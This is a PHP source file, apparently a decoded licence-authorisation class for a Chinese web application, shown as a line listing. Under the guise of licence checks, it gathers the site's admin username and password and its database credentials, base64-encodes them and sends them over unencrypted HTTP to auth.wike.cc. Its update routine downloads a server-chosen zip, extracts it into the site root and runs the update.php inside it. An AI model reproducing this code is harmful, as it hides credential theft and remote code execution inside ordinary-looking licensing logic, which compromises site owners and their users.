123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233 |
- <?php
- //decode by http://www.yunlu99.com/
- class Authorization
- {
- const AUTH_DOMAIN = "auth.wike.cc";
- const APP_API_KEY = "1ba358f1a568aca38b8dc6b196e71ef5";
- const APPID = "2";
- const METHOD = "get";
- const HTTP = false;
- const TIME = 1;
- const QUEUE_TIME = 60;
- const SESSION_NAME = "SF_CheckAuthResult";
- const LOADING_HTML = "<!DOCTYPE html><html lang=\"zh-CN\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"><title>站点提示信息</title></head><div id=\"bg\" style=\"width:100%\"><span class=\"whirly-loader\" id=\"loading\" style=\"position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);\"></span></div>";
- const CLOSE_LOADING_HTML = "<script src=\"//lib.baomitu.com/jquery/2.1.4/jquery.min.js\"></script><script>\$(\"#loading\").fadeOut();\$(\"#bg\").fadeOut();</script>";
- private static function message($msg)
- {
- $html = "<style>html{background:#eee}body{background:#fff;color:#333;font-family:\"微软雅黑\",\"Microsoft YaHei\",sans-serif;margin:2em auto;padding:1em 2em;max-width:700px;-webkit-box-shadow:10px 10px 10px rgba(0,0,0,.13);box-shadow:10px 10px 10px rgba(0,0,0,.13);opacity:.8}#error-page{margin-top:50px}h3{text-align:center}#error-page p{font-size:9px;line-height:1.5;margin:25px 0 20px}a{color:#21759B;text-decoration:none;margin-top:-10px}a:hover{color:#D54E21}</style><body id=\"error-page\"><h3>站点提示信息</h3>" . $msg . "</body></html>";
- exit($html);
- }
- private static function loading()
- {
- header("X-Accel-Buffering: no");
- ob_end_flush();
- ob_implicit_flush(1);
- echo self::LOADING_HTML;
- if (connection_aborted()) {
- exit;
- }
- }
- private static function close_loading()
- {
- echo self::CLOSE_LOADING_HTML;
- }
- public static function main()
- {
- $SF_CheckAuthResult = self::getSession();
- if (!empty($SF_CheckAuthResult)) {
- $result = $SF_CheckAuthResult;
- if (is_array($result)) {
- $time = self::publicDecrypt($result["data"]["time"]);
- if ($time + self::TIME > time()) {
- if ($result["code"] != 0) {
- self::message($result["msg"]);
- }
- } else {
- self::deleteSession();
- }
- } else {
- self::deleteSession();
- self::message("链接服务器失败");
- }
- } else {
- $result = self::checkInfo();
- if (!$result) {
- self::message("链接服务器失败");
- } else {
- if ($result["data"]["code"] == 0) {
- self::setSession($result);
- } else {
- if ($result["data"]["code"] != 1) {
- self::message($result["msg"]);
- }
- }
- }
- }
- }
- public static function updateMain($SF_Action = "check")
- {
- $result = self::checkInfo("update");
- switch ($SF_Action) {
- case "check":
- if (!$result) {
- $data = ["code" => -1, "msg" => "啊哦,更新服务器开小差了,请刷新此页面。"];
- return $data;
- } else {
- return $result;
- }
- case "update":
- $downloadUrl = $result["data"]["data"]["url"];
- $ZipFile = "SF.zip";
- foreach ($result["data"]["data"]["download"] as $res) {
- ini_set("user_agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)");
- if (!copy($downloadUrl . $res, $ZipFile)) {
- $data = ["code" => -1, "msg" => "无法下载更新包文件!"];
- return $data;
- }
- $addstr = '';
- if (self::zipExtract($ZipFile, IA_ROOT_WK)) {
- if (function_exists("opcache_reset")) {
- @opcache_reset();
- }
- if (file_exists(IA_ROOT_WK . "/update.php")) {
- include IA_ROOT_WK . "/update.php";
- chmod(IA_ROOT_WK . "/update.php", 0777);
- unlink(IA_ROOT_WK . "/update.php");
- }
- } else {
- if (file_exists($ZipFile)) {
- @unlink($ZipFile);
- }
- $data = ["code" => -1, "msg" => "解压更新包失败,请稍后重试"];
- return $data;
- }
- }
- $data = ["code" => 1, "msg" => "已更新至最新版本"];
- return $data;
- default:
- $data = ["code" => -1, "msg" => "请求类型错误!"];
- return $data;
- }
- }
- public static function getModuleInfo()
- {
- $data = ["edition" => AuthInfo::EDITION, "module_title" => MODULE_TITLE];
- return $data;
- }
- private static function zipExtract($src, $dest)
- {
- $zip = new ZipArchive();
- if ($zip->open($src) === true) {
- $zip->extractTo($dest);
- $zip->close();
- return true;
- }
- return false;
- }
- private static function getParam()
- {
- global $conf, $dbconfig;
- if (!class_exists("AuthInfo")) {
- self::message("缺少授权信息类!");
- }
- return array("authcode" => AuthInfo::AUTHCODE, "version" => AuthInfo::VERSION, "用户名" => $conf["admin_user"], "密码" => $conf["admin_pwd"], "qq" => $conf["kfqq"], "数据库用户名" => $dbconfig["user"], "数据库密码" => $dbconfig["pwd"], "数据库库名" => $dbconfig["dbname"]);
- }
- private static function checkInfo($type = "auth")
- {
- switch ($type) {
- case "update":
- $method = "checkUpdate";
- $queueMethod = "checkUpdate";
- break;
- default:
- $method = "checkAuth";
- $queueMethod = "checkUpdate";
- break;
- }
- $data = array("auth_info" => getenv("HTTP_HOST"), "appid" => self::APPID, "api_key" => self::APP_API_KEY, "param" => base64_encode(json_encode(self::getParam())));
- $http = !self::HTTP ? "http://" : "https://";
- $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $method, $data, self::METHOD, self::HTTP);
- $result = json_decode($result, true);
- if (is_array($result)) {
- if (!empty($result["data"]["queue"])) {
- $i = 0;
- while (1) {
- $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $queueMethod, $data, self::METHOD, self::HTTP);
- $result = json_decode($result, true);
- if (is_array($result)) {
- if (!empty($result["data"]["queue"])) {
- $i++;
- if ($i > self::QUEUE_TIME) {
- return false;
- }
- } else {
- return $result;
- }
- } else {
- return false;
- }
- sleep(1);
- }
- } else {
- return $result;
- }
- }
- return false;
- }
- private static function publicDecrypt($encrypted = '')
- {
- if (!is_string($encrypted)) {
- return null;
- }
- return openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey()) ? $decrypted : null;
- }
- private static function getPublicKey()
- {
- if (!class_exists("AuthInfo")) {
- self::message("缺少授权信息类!");
- }
- $publicKey = AuthInfo::PUBLIC_KEY;
- return openssl_pkey_get_public($publicKey);
- }
- private static function getSession()
- {
- return !empty($_SESSION[self::SESSION_NAME]) ? $_SESSION[self::SESSION_NAME] : null;
- }
- private static function setSession($session = null)
- {
- $_SESSION[self::SESSION_NAME] = $session;
- }
- private static function deleteSession()
- {
- unset($_SESSION[self::SESSION_NAME]);
- }
- private static function curl_request($url, $data = array(), $type = "post", $https = false)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- if ($https) {
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- }
- if (strtolower($type) == "post") {
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- } else {
- if (!empty($data) && is_array($data)) {
- $url = $url . "?" . http_build_query($data);
- }
- }
- curl_setopt($ch, CURLOPT_URL, $url);
- $result = curl_exec($ch);
- if ($result === false) {
- return false;
- }
- curl_close($ch);
- return $result;
- }
- }
|